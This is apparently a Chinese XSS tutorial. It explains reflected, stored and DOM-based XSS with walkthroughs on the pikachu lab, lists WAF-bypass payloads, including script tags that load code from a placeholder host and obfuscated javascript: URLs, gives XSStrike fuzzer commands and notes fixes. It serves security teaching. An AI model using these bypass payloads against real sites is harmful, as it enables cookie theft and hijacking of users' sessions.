1. 原理
XSS漏洞产生原理
XSS攻击涉及到三方,分别是:攻击者、用户和web服务器。
用户通过浏览器访问web网页,攻击者通过一些办法在用户访问页面的时候插入一些脚本,用户在访问页面的时候执行这个脚本,攻击者通过脚本执行获得用户的信息,如cookie,从而获取用户隐私信息,或者可以伪造用户请求等。
XSS漏洞危害影响
- 挂马
- 盗取用户Cookie
- DDos客户端浏览器
- 钓鱼攻击
- 删除目标文章、恶意篡改数据、嫁祸
- 劫持用户Web行为,甚至进一步渗透内网
- 爆发Web2.0蠕虫
- 蠕虫式DDos攻击
- 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据
2. 分类
被动型,需要受害者主动触发
类型 | 说明 |
---|---|
反射型 | 服务端返回脚本,客户端执行 |
存储型 | 后台存储了非法脚本,并且前端直接展示 |
DOM-Based型 | 基于DOM或本地的XSS攻击 |
2.1 反射型XSS(GET)
测试平台:pikachu
- 启动靶场
- 随机输入一个名字,查看结果,因此考虑输入一段脚本,看是否能被执行
- 输入一段脚本,发现有长度限制,因此打开检查工具,修改网页端输入框长度限制,修改成任意大的值,如500
- 输入一段脚本,提交,页面脚本<script>alert(1)</script>执行
2.2 存储型XSS
测试平台:pikachu
- 启动靶场
- 在留言板中随便写入一些数据,观察
- 在留言板中输入:<script>alert(1)</script>,脚本执行
- 当下次再点击进入该页面时,脚本执行并弹出弹窗
2.2 DOM型XSS
测试平台:pikachu
- 启动靶场
- 随机输入值,提交后查看页面,点击“what do you see?”,页面会根据输入的值跳转到相应的页面
- 输入: #’ οnclick=“alert(2)”>
4. 查看源代码如下:
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
<!-- 将str替换成上传的字符串之后如下: -->
"<a href='#' onclick="alert(2)">'>what do you see?</a>"
3. WAF绕过
- 标签语法替换
- 特殊符号干扰
- 提交方式更改
- 垃圾数据溢出
- 加密解密算法
- 结合其它漏洞绕过
标签语法替换
name=<script src=http://xxx.com></script>
name=<script src="http://xxx.com"
name=<script src="http://xxx.com"#12@#1634%>
name=<a href="http://xxx.com">a
name=<a /href="http://xxx.com"@#>a
特殊符号干扰
name=<a href="http://xxx.com"1111!@#>a
name=<a /href="http://xxx.com"1111!@#>a
提交方式更改
get方式改成post方式
加密解密算法
<a/href=Java%0a%0d%09script:alert()>click\
4. 自动化工具XSStrike
常用命令:
-u, --url // 指定目标URL
--data // post方式提交内容
-v,-verbose // 详细输出
-f,--file // 加载自定义paload字典
-t,--threads // 定义线程数
-l,--level // 爬行深度
-t,--encode // 定义payload编码方式
--json // 将post数据视为JSON
--path // 测试URL路径组件
--seeds // 从文件中测试、抓取URL
--fuzzer // 测试过滤器和web应用程序防火墙
--update // 更新
--timeout // 设置超时时间
--params // 指定参数
--crawl // 爬行
--proxy // 使用代理
命令:
D:/XSStrike/xsstrike.py -u "http://xxx.com/index.php/?name=" --fuzzer
5. 安全修复
开启httponly、输入过滤、输出过滤等
JAVA:https://www.cnblogs.com/baixiansheng/p/9001522.html